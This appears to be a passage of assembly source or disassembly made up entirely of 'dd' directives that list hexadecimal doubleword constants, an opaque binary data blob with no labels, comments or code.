		dd 0F5CCFBAFh, 1DA8E4E9h, 0ACE5B900h, 86B6BC6Bh, 0FF931C78h
		dd 0EF01BBCDh, 0FC6E6FD1h, 0A04F60D8h, 727DDA0Eh, 0BB4FA7AFh
		dd 81644590h, 6AE601D6h, 0D8A1180Fh, 0C722EC4Eh, 3C37731Dh
		dd 95C08240h, 7C6939h, 0DAAD3F03h, 85A8C56h, 0A08BA112h
		dd 6AACC040h, 1F57398Fh, 40D17670h, 0EB0A1096h,	6900B407h
		dd 0E98D6F06h, 0EA8A91Ch, 0EC57ED83h, 0D960AC21h, 0E4586008h
		dd 9E8D6700h, 4E18BC3h,	587B078Eh, 0E32E8918h, 8FB15EC0h
		dd 0D8CEC927h, 0F81FF055h, 0EF036DF9h, 2CF404CDh, 0D7C729h
		dd 4602D1FBh, 2C004274h, 37F18963h, 8D5235h, 8AA1E244h
		dd 0FF753E60h, 0B83F1D00h, 0E1A85A86h, 469600E7h, 3F0F69Eh
		dd 66006170h, 0D90BD70Eh, 58F16C6Bh, 38007EEBh,	4B09D81Eh
		dd 0BC0041C3h, 5A53A984h, 0C7D572h, 211C11C8h, 87B50A27h
		dd 8098513Dh, 0D781CEF7h, 0E3A6B63h, 4ECBA8E7h,	0EA8DC3C0h
		dd 0EE00BC61h, 0A5C69964h, 3FBD3F10h, 72C8A7h, 0C57C3A0Eh
		dd 9A940359h, 0DCC9B300h, 762E24D5h, 0BFF61E0Ah, 85474012h
		dd 6FF1037Dh, 612B3100h, 93283BEEh, 97E503E4h, 83A41DFEh
		dd 0DA18DA0h, 315E5200h, 7BBCD1E1h, 25B02Bh, 97D8B7Fh
		dd 1D5C2EA9h, 23EFDA00h, 0A6E70FFBh, 47BA054Eh,	0D06861D8h
		dd 5EE21720h, 2D0A8AEEh, 0D62476F1h, 95B58301h,	0B07FB3F4h
		dd 0BA001AD7h, 8C28AA3Fh, 33AA72Eh, 0CA2C95A9h,	8F901C78h
		dd 0F40EC86Eh, 3D564E3Dh, 36F35887h, 143AE320h,	0C06F0076h
		dd 5AE1641h, 0AA7EF9F5h, 7BD26B00h, 0B8158B49h,	0CA5A000Fh
		dd 11CB8FEFh, 0CC00CF4Dh, 40D50A9Ch, 0ABD615h, 189A74E6h
		dd 298E2D19h, 4FB46905h, 0A48059CDh, 1335197h, 77BBB05h
		dd 40F58482h, 14C88EBAh, 5EACD900h, 11E188D6h, 1687FC98h
		dd 5C7515A1h, 0F86D40E0h, 4C303C33h, 60A9EC00h,	8F0922B7h
		dd 70050392h, 0F83F82DCh, 7D9C0B8Dh, 0B0BABC98h, 0EE071A0Fh
		dd 745581D0h, 9D054F9h,	524007A0h, 0D0C928DCh, 0C85FEE67h
		dd 2D423900h, 3B1C89B0h, 7C25F664h, 6BB30F2Bh, 0DFE05B79h
		dd 639C3D3Ah, 8A001FF6h, 5C9BC2A7h, 7F85DECh, 55301BD2h
		dd 0AD6C4305h, 0E4B218F9h, 4705A4C7h, 87B821D3h, 5A024E80h
		dd 0AAAD00C3h, 91D08FA7h, 1400957Eh, 72F0E296h,	3F6EEA0Ah
		dd 0BD07DAFAh, 0C5B59B2h, 7F00D7E0h, 15A925C0h,	9A1E5Ch
		dd 108C8729h, 85201A8Bh, 0EF483003h, 0D0153F1Fh, 0C03A244Ah
		dd 0B44C69D8h, 0AD7501F3h, 98FCBC24h, 2B858940h, 1FAEC3C9h
		dd 86B848C5h, 0CD905F1Dh, 23387B76h, 8019000Bh,	7770BA7Dh
		dd 1C4E00D9h, 2FAF39BDh, 7EFA53D5h, 72C90A00h, 56C168BFh
		dd 7B3F64Ch, 612101C7h,	9E9380C8h, 6181890h, 51D0E25Bh
		dd 0F3BE748h, 68014B9Fh, 60830D99h, 2E3A6B9Fh, 0D71F83BDh
		dd 1C05E59h, 14689A8Ch,	0E4B16DE9h, 340EA4CDh, 606B0A81h
		dd 3356C626h, 0E1A001D7h, 39486C2h, 6FECD03Ch, 0F000B290h
		dd 0F1E43D7Fh, 14F324Bh, 71434A51h, 0E01C22D4h,	1400B92Eh
		dd 6AB44DC1h, 0DAEBF2h,	23359DF1h, 6D34218Bh, 6046E9F7h
		dd 0D4006184h, 556ADBEDh, 30CD77h, 1A32E61Fh, 0EB793FADh
		dd 80EC175Ch, 0BD229F66h, 0B60F00A3h, 0CB1892C4h, 870242FCh
		dd 7766CCD4h, 0AB004036h, 14440059h, 9E8FED6Ch,	670061B3h
		dd 7C162C45h, 0A0844EC7h, 4DDA81h, 73FB6EA9h, 0A612AFF8h
		dd 3E0001F8h, 1E567ED1h, 0B8E7ECh, 42B2FF9Eh, 595FB63Ch
		dd 24BC48h, 8B559BE8h, 5C6FFAh,	4B7DF6EFh, 576C3485h, 73E1B60Eh
		dd 81DC404Dh, 928240h, 399DC3A8h, 698D597Ah, 0B42A9500h
		dd 85E9627Ch, 0B5FB3C32h, 0E3757E00h, 83610B01h, 50FD4B2Ch
		dd 65088102h, 0A2848056h, 0EC534FEh, 4F01D35Ah,	46BD17C3h
		dd 0AF6D21D8h, 0DD6CF909h, 136D05B2h, 4A189480h, 28F2308Fh
		dd 0E315F28h
		dd 0C9447103h, 0ED9AE5h, 7DE7B1B4h, 81C3EA2Ah, 0C6507603h
		dd 0C844BF3Ch, 3E1C1215h, 77FB4EC0h, 0F9D704B7h, 0B092B5B9h
		dd 2200ECABh, 75FBFA7Dh, 6ADD9Ch, 0B421A07Ah, 0B9350ED3h
		dd 3A027E01h, 0CA3041C5h, 8681ECh, 329B695Bh, 777954A2h
		dd 0A489F4F5h, 4DD6041Fh, 8839CEC0h, 3E9055Fh, 9B9D2B03h
		dd 0A180DA23h, 0AD002FCAh, 0C18EAC17h, 170EA041h, 0FC953F3h
		dd 152105F9h, 0E8B7B3F9h, 314872EAh, 541301F9h,	988E6662h
		dd 50861EE4h, 0E4E4A8h,	0D1CF0576h, 0FD589C0Ah,	2847200h
		dd 614E63BEh, 0CA1C00F1h, 824568D6h, 1900F948h,	67CD289Dh
		dd 19609E8h, 11911E14h,	3CAF1F04h, 58D12EB4h, 0B0802DE4h
		dd 3098BFDCh, 119CDBF1h, 0BC7A708Ah, 0B4CBA200h, 3F32088Ch
		dd 0A3950F0Fh, 63A0D567h, 0CDDE7BD6h, 5E1F6001h, 0D7DD65BCh
		dd 10C71081h, 7098055Ah, 9100D851h, 7C62188h, 38FC6863h
		dd 0B43E66BBh, 7AC50A80h, 0EA153A97h, 1F86F00h,	0F60F65C7h
		dd 0CC22241Eh, 0E0C4006Ch, 17EDF9D9h, 0F58CBE03h, 885FBBC7h
		dd 0F3B6D58h, 0BD907930h, 1B119F20h, 0F60F0C2Ah, 3C7AACCFh
		dd 62468400h, 77924CD5h, 2D7D0031h, 6954CCF3h, 34002A25h
		dd 7BE1E558h, 6A1B92h, 1F262E80h, 3841D08Bh, 81B1451Dh
		dd 2BC5C340h, 42B0CCh, 0D27027AAh, 0C9D10E75h, 14120DFAh
		dd 0A42440CFh, 456144C0h, 93773F53h, 6E70E000h,	3241DAB0h
		dd 15037307h, 0B70BE8Eh, 0ECA76457h, 37E900E7h,	0CE3F5546h
		dd 3200984Eh, 0A0AF4825h, 15F6387h, 6AE335C0h, 0D54A79E0h
		dd 0FE64E05Ah, 8732CE00h, 0AAC8F027h, 901F0E5Dh, 0C60A791h
		dd 63FDA088h, 0DF48F100h, 0F6A4978h, 0FC77FAh, 7C85349Eh
		dd 3E9C044Ah, 0D001EE4Ah, 3746AED2h, 79FD8304h,	7B0332D0h
		dd 0DD97CC07h, 0AF109D98h, 66F2E1h, 12616E72h, 42353D11h
		dd 0E7E8CC05h, 53C0BB0Ch, 906CB0E4h, 71811CD0h,	0CA5B808Fh
		dd 0C6CE91D2h, 47519B00h, 8B2CE2D5h, 72E31E46h,	666C342h
		dd 50FBA1ADh, 0D81309C0h, 73AA5507h, 0E06FC2B4h, 0C10E70E5h
		dd 19D2008Eh, 0FDEC1CFCh, 0D6006551h, 283710C9h, 3001F2E3h
		dd 0FBDC9A60h, 123B8E55h, 4786870Eh, 99E4172Dh,	23E4B0h
		dd 12EA877Ah, 8B0859FDh, 0FC26A900h, 0F5F02ABFh, 477F0089h
		dd 2E7C83A8h, 6E000224h, 0E7DB8EE6h, 0B9B038h, 7DEC826Bh
		dd 8D3521C5h, 202C877Fh, 0F4178CEEh, 0AA486433h, 7186C09Eh
		dd 0A52803ECh, 7D5633D8h, 8999C7E4h, 0AA5CEA01h, 786B306Fh
		dd 7300B6B0h, 0E535637Ch, 1FD22644h, 1DF658Ah, 1989CD3Dh
		dd 3743CC57h, 0B62C4000h, 0BB887441h, 6030007h,	718D99F8h
		dd 0DA00A514h, 0EEA1AE1Bh, 4F96455h, 0D996A6C8h, 0F714B430h
		dd 2B0E8F04h, 6C019D7h,	89D434h, 0AEF56FF9h, 68A26460h
		dd 7517AA00h, 3F37C41Fh, 0D0884C81h, 0BD0C2500h, 0A54536Dh
		dd 0D59EA41Ch, 65AE003Bh, 99E83F68h, 5DBD0FD8h,	0A7EE4586h
		dd 0F82D1E60h, 0DC063448h, 56BEC364h, 0D7920C30h, 4A5AB4ACh
		dd 0D6FDD40Fh, 96AB608Fh, 9A541Fh, 0EB84B263h, 0B70867E3h
		dd 818EE90Fh, 7895607Fh, 3EC956h, 531ADD16h, 46529330h
		dd 0F53AE97Ch, 0B04A8BE0h, 0F7A482EBh, 0CDAC13Dh, 2E8F98C8h
		dd 4020BD5Fh, 0AD0AA479h, 0A812FB01h, 535C0D59h, 0A5C8CC71h
		dd 2D390117h, 28A41C46h, 0A980DE35h, 0E747E9A1h, 831BD00h
		dd 0D782877Dh, 645C0EF4h, 0DD491A60h, 86D87D80h, 46002E30h
		dd 1EE15278h, 0E8A8AC32h, 0DEA3003Eh, 96DD76BDh, 2D0E22BFh
		dd 609578C4h, 5F90B89Ch, 0DC19007Fh, 6D796EE6h,	5800E9CAh
		dd 47065B9Dh, 7BB8650Ah, 69B90335h, 7D4E2680h, 0BEBB403Fh
		dd 0A3678059h, 29648397h, 0AC233CC6h, 0E692B80h, 841A5215h
		dd 1F1CF00h, 0ED38930Dh, 0F82E04B6h, 80360775h,	3A1C0B83h
		dd 91F0BF00h, 0E4295EC3h, 694425C1h, 31058C8Eh,	0B690A0C5h
		dd 4675D10Bh, 4AC200A0h, 690706h, 0D6770AABh, 83A7A6B3h
		dd 91F19503h, 0A84DEBD4h, 0BF946Eh, 17435B03h, 2C5CE016h
		dd 0F799C500h, 241EAEEDh, 9DD73D1h, 0ECA6429Ch,	6D20170Eh
		dd 795DEA9Dh, 0F504FB0Fh, 0AEDAE3BEh, 0D787E816h, 0C80702B4h
		dd 408A4537h, 0B7CDE1E0h, 4AD5A500h, 4168EBE5h,	0A74F0055h
		dd 8FDB0FCFh, 0CA005CE8h, 16568094h, 0E646EBh, 0A0724BBFh
		dd 0A3297D3Bh, 0B9E8B100h, 0F3903283h, 885A00EBh, 551E9384h
		dd 76003A81h, 99B0E92Fh, 0A2AE17h, 607DB8EDh, 5F655BCFh
		dd 0E5A5381Fh, 0BED46Ch, 62479ED1h, 22E2FA3h, 0CFE5670h
		dd 24649089h, 95F3Eh, 0E8EC86ABh, 734E60h, 81239CB7h, 57D19705h
		dd 0FB465900h, 4E8C5F52h, 0ECF10FD5h, 0C73E49E5h, 550BC9h
		dd 881295E7h, 667C5430h, 0B2CCFDh, 980BEA52h, 493D9A55h
		dd 879D6900h, 0AAAF68BAh, 0A162002Ch, 31B63E83h, 25004AD3h
		dd 0E4AD7641h, 0B2E22978h, 117D3D94h, 0E94F5780h, 0DAFE5D14h
		dd 3A27F3Ch, 62EF46CAh,	7A9480DEh, 0BDA41FF5h, 7310C08Bh
		dd 1ACDF6A5h, 91F4DC00h, 0D5A8F3ECh, 0B8F23C5Ch, 0A0D72700h
		dd 17A468D9h, 0EFDCE30Fh, 3A4E40C8h, 0AA13A1h, 4104FF40h
		dd 8F13EAEh, 0ED7F6E00h, 482BFC9Ch, 26917A29h, 38E47D9Fh
		dd 0D6D70700h, 0E534D110h, 9E600E1Ch, 0DB1D8640h, 0E2747DA2h
		dd 28B30046h, 9F91804Ch, 2C7582DEh, 7D2C63Ah, 0C01AFF5Ah
		dd 93C84210h, 503200F7h, 0E1978415h, 8373B416h,	2D1F5703h
		dd 3EC5BF12h, 4F384E94h, 99501801h, 74E2EE30h, 29005774h
		dd 7FA04D65h, 321F5Eh, 1EB6FFFAh, 81609E99h, 8095C40Bh
		dd 266880D6h, 282FA48h,	7B41529Fh, 94C097E5h, 10C053B8h
		dd 5FD762D4h, 61FAAEh, 0FBE67A32h, 0E780010Dh, 0D83B3600h
		dd 5DA784A4h, 8B7FEFh, 632D8114h, 67E45153h, 0F31DFD28h
		dd 2F08B507h, 80BBF60Bh, 0CB72E2C3h, 0C8F400ADh, 8D38BA0Dh
		dd 0EF075C89h, 0F84AA414h, 256F01C0h, 6F700D3h,	489E7CCAh
		dd 0EC3D88C7h, 7A1F042Ch, 4AC8DB3h, 4FE30F00h, 9F8ACC3Eh
		dd 0F9F1C100h, 25963755h, 5B5300E5h, 6F5621F0h,	0AD00DD40h
		dd 68A61672h, 39EC09h, 0DC545F61h, 4F58469Bh, 8070FC3Dh
		dd 0D1470D1Fh, 0B0D052BCh, 6B621ED0h, 7EE085ABh, 2B4814Eh
		dd 0F4BC25F8h, 0BF00C18Bh, 733EBC2h, 6737B0h, 41F21247h
		dd 0CDA6A910h, 0D070AE00h, 2989C7D1h, 0DE3330FCh, 0C0AAC694h
		dd 0E3106600h, 1E2BE275h, 5A4617BDh, 0B9B4D0F4h, 4A3872C9h
		dd 0EDFC056Bh, 10C0E49Ah, 6CA6DDh, 0D7244597h, 5A88E7C2h
		dd 3A53Ch, 0B2E6C98Ch, 0B6BA358h, 0C197FFF6h, 4C005C89h
		dd 0A4AEFD9Ah, 57878000h, 0FF059D55h, 0ACF8C1h,	8AE29EA1h
		dd 1B7AA882h, 7897EA00h, 522E0A3Bh, 24233E89h, 3439CA80h
		dd 27CE0E73h, 0D8064C72h, 25AA1B29h, 0B3BE00E8h, 0A4A11C05h
		dd 0F00BA43h, 92A7BC91h, 13284CEh, 3C4D316Eh, 0CA4B440Ch
		dd 0F70C80DAh, 0CA71BB2Ch, 0DB4500B9h, 0B5C48F6Ah, 927E8E57h
		dd 0F800934Ah, 4CF2CEFFh, 47EA1F75h, 40B79CA6h,	76C78629h
		dd 4400C336h, 0BD79D4F5h, 378D5Fh, 19F0A831h, 1DC601C0h
		dd 0D6E1D800h, 716FEDF1h, 421E3A65h, 0DE917E00h, 0FAEF85CBh
		dd 4013D0F7h, 59009C7Fh, 5321BBC4h, 0CB363Dh, 5AA77DC1h
		dd 0E801A083h, 0A9AD6C00h, 0E36B06FCh, 0FAFD0EAEh, 0FFC09E8Eh
		dd 0D84831EAh, 6601F47Bh, 5538BC0Eh, 18703AFBh,	15E90089h
		dd 4B2A0512h
		dd 84E625ACh, 0FB483090h, 23640035h, 0D186B677h, 92B20A04h
		dd 80E89605h, 0A568BC06h, 4701D5DEh, 84D23D80h,	56DCA136h
		dd 0DD1000E5h, 17946F83h, 0AE07AFECh, 0FA7473E3h, 6A86CEF0h
		dd 59710780h, 0B0BFF0A9h, 0C749FF60h, 0D800B090h, 0A5B45EBh
		dd 9F6C5Fh, 2ABB8DE6h, 0A6675C04h, 0BD831100h, 0B0D1AC40h
		dd 594A03B3h, 3549ED16h, 5AE0DE97h, 334CC439h, 2159912h
		dd 7EB7FE00h, 4FD6B3A5h, 1B10600Ah, 79B8D10Dh, 740D897h
		dd 66E92CE6h, 0FCC1593Bh, 0CE69C88Bh, 7E942F49h, 3765F800h
		dd 2776A82Eh, 0F1075E0h, 84919538h, 89DDB2E3h, 0C50ED0DFh
		dd 25164507h, 9801B1E9h, 88335C18h, 6A17D0h, 0FCC0BDB5h
		dd 43558A23h, 5C06F800h, 728C711Fh, 0DF370146h,	0AD80C4DEh
		dd 789BF834h, 0FE0707EAh, 9F2A751Eh, 25D96850h,	0F34001Fh
		dd 8DF74218h, 0BD0086E3h, 9325C0Ch, 30D70E04h, 3D4DC15h
		dd 0CC00B46Eh, 0C2A77371h, 13CAC4h, 55D542B3h, 77B0C644h
		dd 223C8070h, 296A00BFh, 4B0A2D6Dh, 0E80B0B1Fh,	4282B791h
		dd 48693AA4h, 8C23F8B5h, 48397305h, 9E00C277h, 0CBFCFB1Eh
		dd 1A6C1838h, 1B21C295h, 1FF57100h, 6845757Ch, 21E2C29h
		dd 359A00F2h, 509DE95Bh, 0DE656A01h, 8A56B858h,	70B4D8h
		dd 0C886A75Dh, 38EED799h, 29B38F17h, 1619000h, 722A84h
		dd 27B9BDA3h, 82FF81CBh, 2BFAAB00h, 326EA96Fh, 44F21319h
		dd 7E00066h, 61F3F7C3h,	0AEB3E000h, 14419E48h, 5BEE0733h
		dd 0B7A268A3h, 5D17D3E1h, 80591000h, 85A9D27Dh,	3E980Dh
		dd 3EF7A0E4h, 0B2BD5292h, 319CF902h, 0C0187C78h, 270E24h
		dd 0C94CAF0Ah, 76C8E774h, 0EC1FE100h, 0F2856CC2h, 1A043CFCh
		dd 0E889AD00h, 0D695847Eh, 2A654505h, 0B0009BF3h, 3C608AA3h
		dd 0A8AE978Bh, 0ADE27AA2h, 448D5620h, 76CD01E0h, 907BDFEDh
		dd 2A70606Ah, 0CCC0BF4Bh, 2E45B75h, 0E7A46F11h,	0C840E096h
		dd 0FE15BFB2h, 2CE41698h, 0D602CE2h, 1ED5C8h, 0C50BAE91h
		dd 9A3DFE19h, 0B500B7F6h, 49C4862Fh, 0F8B3B33h,	1D6A0B9Fh
		dd 80B0D2BDh, 9A652F44h, 0CC2BDA00h, 843473EEh,	0CEFC017Bh
		dd 0B7F31A06h, 7CA2E8E0h, 224ED830h, 14AC2Eh, 0ABD6AAADh
		dd 50F40DB7h, 78F38400h, 0A3F8CEC1h, 0EA9D00B4h, 63CCFB53h
		dd 0EE00C6FCh, 40423A7Ah, 5E9597h, 0A0D4931Ch, 0FE69DCB0h
		dd 0E906A00h, 0F5203CA2h, 4A7D5C22h, 0B70B6B0Eh, 614F6E60h
		dd 5500E858h, 49FD8D63h, 1FEDDD37h, 406A1E4Dh, 3025BAE1h
		dd 0A2004F04h, 8154F864h, 67B78Dh, 6CCD84AFh, 0F93F8BEBh
		dd 0A722E801h, 0E03237CAh, 2559860h, 72BF04F6h,	18E0CE3Ch
		dd 0EE25F2C0h, 9E88C0BBh, 0ECF004CAh, 0B967A6C3h, 72C400A8h
		dd 0CD55A2Ah, 124F00D9h, 0B8A2557Dh, 61E9AA29h,	0FA62D198h
		dd 458EC54h, 0C3F4006Eh, 0D3C61193h, 5600465Fh,	0F01808CDh
		dd 17E7606Dh, 3D2BA0h, 67C2A61Dh, 7C00AD1Ah, 613BB233h
		dd 1A1E36Ah, 0C1DCB13h,	0C8237071h, 930075EAh, 0E23F904Dh
		dd 7314CEh, 3D17BF09h, 1B4C5E29h, 98D92804h, 49C0B17Dh
		dd 0F80567DEh, 8824001Ah, 3142F845h, 2B013DC1h,	0D6C66F9Dh
		dd 0F6C52C6Dh, 7C078D4h, 1F8423D3h, 0E079607Fh,	0B900FA5Dh
		dd 6D68625Fh, 0F5969Ah,	3E06110Bh, 0A230EE1Ah, 8D009F76h
		dd 0CB56EF8Ah, 9B7328Ch, 65510B41h, 9F554307h, 361BC640h
		dd 7800E346h, 13916EF3h, 3CC9022Ah, 33853FDEh, 41DFBF05h
		dd 3812A1DCh, 2210FC83h, 0C4ABDD02h, 5E87E2F6h,	0F4CE8C70h
		dd 6300822Ch, 92F5D2B2h, 72E86D8h, 0FD204966h, 6051D7CBh
		dd 569D8B69h, 16DCA150h, 802D4E25h, 96F8773Ch, 7482001Ah
		dd 0E475C919h, 0C09FC643h, 2AC4D79h, 87D0F8F3h,	17C03EA2h
		dd 8D2E8CA9h, 0D500A151h, 5C67A4FBh, 79D8FAB2h,	390B00D9h
		dd 6497373Fh, 3B00BF0Ch, 0C7DD5D7Dh, 0C373FBh, 62B2D578h
		dd 9FC04498h, 41DFFD00h, 83A10F22h, 1B2987Ah, 0F16FF4C5h
		dd 3A138823h, 0DCB0C425h, 0F7FF006Dh, 96AC5D26h, 8F00E13Ah
		dd 30045EF4h, 3D79337h,	31A3FBF3h, 97B84875h, 47B023D5h
		dd 0EA556600h, 0AB7B1C9Dh, 3A3000DEh, 6275461Eh, 73018A0Eh
		dd 0FB329AB5h, 0E0FBFD25h, 0FE5B6959h, 0FCE100FFh, 0DA9CBDE8h
		dd 5D755167h, 6064AA0Bh, 5CC84F2h, 0A12E6E80h, 523B00D1h
		dd 0CA2D6522h, 773CE19Dh, 64740075h, 0DB400C5Dh, 4D1C2DBDh
		dd 684BDC82h, 0EB134854h, 60277C1Ch, 38B4C20h, 4D8007A0h
		dd 0A7B89B0Ah, 0AD0085C3h, 8CD308D5h, 783E33Eh,	0E820CB0Dh
		dd 5140E0E4h, 0EC008982h, 0EE2A10A9h, 0AA0588h,	4A7D934Ch
		dd 81A7E5FAh, 0F653A40Fh, 9F31A398h, 0C787F48Fh, 0EB9096B7h
		dd 586592EEh, 5F01ABDCh, 0CCD70704h, 0C4002A47h, 0B9C43755h
		dd 0F0922625h, 82269Eh,	0F39C6050h, 860734CFh, 0EA374CCBh
		dd 80ECE443h, 0A27328Dh, 1DB6403Dh, 93F100B7h, 45A2C98h
		dd 0E9DE0300h, 7451B011h, 0F7AF1EA4h, 57000B2h,	0D647B816h
		dd 0C9078F70h, 0A96B58D8h, 0C7505ED7h, 0ECD03738h, 10A30083h
		dd 4A5C36ACh, 9D01DDE9h, 3830513Ah, 9EEC5260h, 0B9C63AA9h
		dd 0CF74BC80h, 6455F478h, 384C249h, 0DD79CE10h,	2EE9E868h
		dd 497F00FBh, 6325ADD0h, 8500F5BDh, 0EE88DCC6h,	0AE19A0h
		dd 122D201Ah, 0FEDD68ECh, 71BE6306h, 3A60AB64h,	0C7809C30h
		dd 9DA63785h, 1507FBBCh, 617BBFC9h, 0B8DD0A30h,	552100A0h
		dd 241427FFh, 2C00B43Ah, 5C66CAFEh, 814B1Ah, 0C7F9FCD5h
		dd 356BE957h, 0F52EAF00h, 0FF583A13h, 5D2A00B3h, 0B8B753DCh
		dd 2400AAFBh, 39BD0119h, 7297CABFh, 1C557B93h, 80B5DEF9h
		dd 4E707D82h, 0E3070E0Bh, 365CAB54h, 17D75B51h,	0C88A3880h
		dd 6BEA0DC1h, 8142AF5h,	4B53003Eh, 71A60FBDh, 0DED10B31h
		dd 0DC008E02h, 0C103A73h, 6E8F7B00h, 2AFC89E6h,	239832h
		dd 0FEA6E159h, 667D3034h, 0CB130FF4h, 0E0F4FA35h, 28ED0026h
		dd 4C57ABC5h, 0DDE9749Fh, 0C21070EFh, 0AE868E38h, 6B82205Eh
		dd 7E8214A5h, 50910584h, 803C8126h, 0FA62CCE2h,	0EAC4C5Ch
		dd 0B2026537h, 45DB2C03h, 0E5AEA014h, 0F3720B4Ah, 0EC485ACAh
		dd 7F0120F2h, 0FB7C93B3h, 54D0E7A6h, 75ECF9h, 0D89BD16Fh
		dd 0B6A54BB1h, 5BFF9F00h, 0B9F13BCCh, 0E7615CF9h, 6232D100h
		dd 0E8387A1Ah, 7E49C8F9h, 2CA54714h, 550075F6h,	0F9EAA191h
		dd 3931646h, 270D3CC9h,	7EC0ABFCh, 2100A698h, 4880C4A9h
		dd 4A13EFh, 52CE122Fh, 400AC5B7h, 7639C000h, 452894D8h
		dd 61FA0071h, 0B523C29Eh, 24003211h, 73F1F405h,	1464EE1h
		dd 0E929CB59h, 53B41465h, 8CE4C6D4h, 33005BD4h,	0D0CC7CFEh
		dd 19D2E8Ah, 65713AEh, 78E1E5BCh, 0E29402F4h, 60AA8825h
		dd 1A7A3D0h, 0B930F792h, 0D41647B0h, 0DA00DF2Ch, 0EBDD84D5h
		dd 39745E1Fh, 6280E5A7h, 1EC92BF2h, 0BD390741h,	831C805Dh
		dd 0ED3F1FF3h, 9C2500E4h, 6AD57924h, 0E000388Ch, 154361C8h
		dd 3AA91387h, 880E54A5h, 9D407695h, 0D83F9896h,	0D18410Bh
		dd 0E66E00E0h, 0F27E5Eh, 2A022831h, 0DE77F0D7h,	53EF8D03h
		dd 0D0FCF946h, 48F267B2h, 3700E417h, 0DDB538B8h, 78F8C65Eh
		dd 1B2F6209h, 91FD000Eh, 0E099B048h, 0E6B8F05Ah, 0A8D30037h
		dd 0E3DA20FCh, 1E7ED138h, 4EE0AB00h, 0A3E150BFh, 2A9B0FA9h
		dd 9A60C9A5h, 49077C42h, 4B287B0Eh, 0B13E00B7h,	7A66D3h
		dd 154E38FBh, 0D4F80F27h
		dd 0C8CF1301h, 92CD11D5h, 0F9A5CCh, 2B101BCEh, 0E6B8289Bh
		dd 15C820FBh, 6C04FB79h, 64083506h, 904ECCEDh, 36E8ECD4h
		dd 2A937E00h, 0A0AC456Dh, 87CB005Fh, 0DB4D6446h, 0BAFA56A6h
		dd 0BB00CDF8h, 0DF63DDFFh, 0F806E8h, 9A4F9913h,	8D05AB03h
		dd 162C29F8h, 80E9C059h, 8F7E4262h, 2C1700ADh, 7C8E271Dh
		dd 904E3A6Dh, 51B25800h, 7CCD9721h, 0E4223A31h,	15DA0500h
		dd 10913018h, 3CEEAA01h, 6ADE3F8Dh, 4B373C8h, 38683A6h
		dd 79ACF98Bh, 2C52BC00h, 0C6CB021Eh, 30AA73A2h,	0E3885E20h
		dd 3F005B9Eh, 0D9FDB322h, 41522Bh, 11AA948Ch, 0E1A9399Dh
		dd 0B488B800h, 0C9BC6DC2h, 0F0009DDFh, 0A781F9BEh, 0FC0062E0h
		dd 0A8B37DF8h, 17B6FFh,	60B5F451h, 0C294C640h, 6EB0DC00h
		dd 37E45243h, 37D7B75h,	0C74B9EF3h, 5B906009h, 0F80015B2h
		dd 0CDB98F2Ah, 9642E5FDh, 0C09C07F0h, 0F9A6E0F2h, 22004916h
		dd 0EB06664Ah, 0B3BEFh,	0A1B4B35Ah, 0B015851Ch,	8944BD04h
		dd 5A849AA6h, 0CA2F8F0h, 0D129C02Dh, 69FA2B70h,	9451AC05h
		dd 0A8F1283Ah, 4633C30h, 9D6B5F45h, 2CDCAC82h, 0A40068D2h
		dd 5021A58Bh, 2892FA4Fh, 8008104Eh, 1FA898h, 586722AAh
		dd 17926E66h, 2D64B902h, 0C8F7290Dh, 12576FCh, 0E3078298h
		dd 0D00F8DB5h, 0F33B8C91h, 0CFA8E0C2h, 3F76F18h, 70239840h
		dd 72A34846h, 0A1543AA0h, 4ED1C361h, 36F03F2h, 0E02782A8h
		dd 0E3F75002h, 0E15145B9h, 68BC8C8Ch, 411A2A01h, 80AC91F9h
		dd 0C0C51480h, 0CD590Eh, 65023ADDh, 6CEF97F1h, 0D60D76Ah
		dd 5054ED0Dh, 0EFA94C00h, 21D660CEh, 1C8CEDDBh,	0F44460Eh
		dd 71B07975h, 545439E0h, 86D954A0h, 8918F0D6h, 56AFB0h
		dd 0DA26C3B7h, 0D88B1C9Ch, 307F3B00h, 0D011F68Fh, 6FE61EABh
		dd 36CA81C1h, 0C8F7022Dh, 1E07378Bh, 0A1EC4313h, 0CAC1A340h
		dd 0C8500FBh, 3831394Dh, 0B67A7FC0h, 93AC0900h,	0AF679ECBh
		dd 5A7800EFh, 0C0CC5EB8h, 7018D7A3h, 0E1E18727h, 8AB601A8h
		dd 0C317FB06h, 830CB0Eh, 905A21F5h, 5877B6h, 7D3A419h
		dd 0BBFE3711h, 2E5E8A4Ch, 0E713C606h, 0AD01A113h, 0C0C6E93Dh
		dd 6E8C4960h, 0A7AA18E4h, 0E14281A0h, 47C0C701h, 80D1A4D5h
		dd 48BE6078h, 49E2262Fh, 92FCA558h, 11CC60CBh, 4A16ACEFh
		dd 230D4670h, 8584EC8h,	1807448h, 31CF1694h, 0CF2099BDh
		dd 5218787Ch, 8E7038E5h, 0B77C3750h, 0DE79C2A9h, 48CF8C07h
		dd 0CC4601FBh, 96EE6F9Eh, 9C003389h, 0ED9B649Ch, 836D3303h
		dd 21003208h, 0A1D87F2Ch, 3001A380h, 4AB8AB1Eh,	0B101B6B0h
		dd 0CC44E227h, 4320E76Eh, 0F70C00DCh, 90ACFB73h, 1C011A5Eh
		dd 0A23F9D10h, 3620B8F1h, 73D4005Bh, 0F71FDEBAh, 9E588516h
		dd 0A60F7C5Ah, 0C1C0E58Ch, 0D027DB78h, 7CFC6D0h, 740BCCBCh
		dd 0C3A24007h, 0A374045Fh, 0A521DB60h, 8C0B97h,	0E33FE5C9h
		dd 946041FFh, 6900CD78h, 0CF174072h, 2D0E46h, 9285FCAEh
		dd 47247FCEh, 18DC40C0h, 6930CA7h, 0D0E382C5h, 17F09EDh
		dd 0DF3820C0h, 1EF48D0Ch, 40160452h, 76EDEB86h,	327F420Fh
		dd 50C15B07h, 0C02CCECFh, 0BF88CA8h, 0B4078911h, 4680EA88h
		dd 50690B96h, 33BC002Eh, 434DD745h, 5C1C0FC2h, 1547D9C1h
		dd 0B1EC35DCh, 88700078h, 28C86776h, 0C060B936h, 945A6D8h
		dd 715066Dh, 98D6BE32h,	0C0D590C8h, 7760BAAh, 0D622FC46h
		dd 0BFD9F00h, 66812A36h, 113E1846h, 0AA8960D3h,	6050AE6Ch
		dd 0DE840EAh, 8013B838h, 0F3CDF2FFh, 1EA4B9h, 1A5C2ED0h
		dd 165F5DD6h, 9C56C900h, 39011B38h, 0FC4EE4CAh,	0EEAD70DBh
		dd 2ED90191h, 0CC55C67Eh, 2438D053h, 0FBD1C40Eh, 46A6790h
		dd 3082F993h, 4D217508h, 0E109FBA9h, 8066F479h,	2D60C7B6h
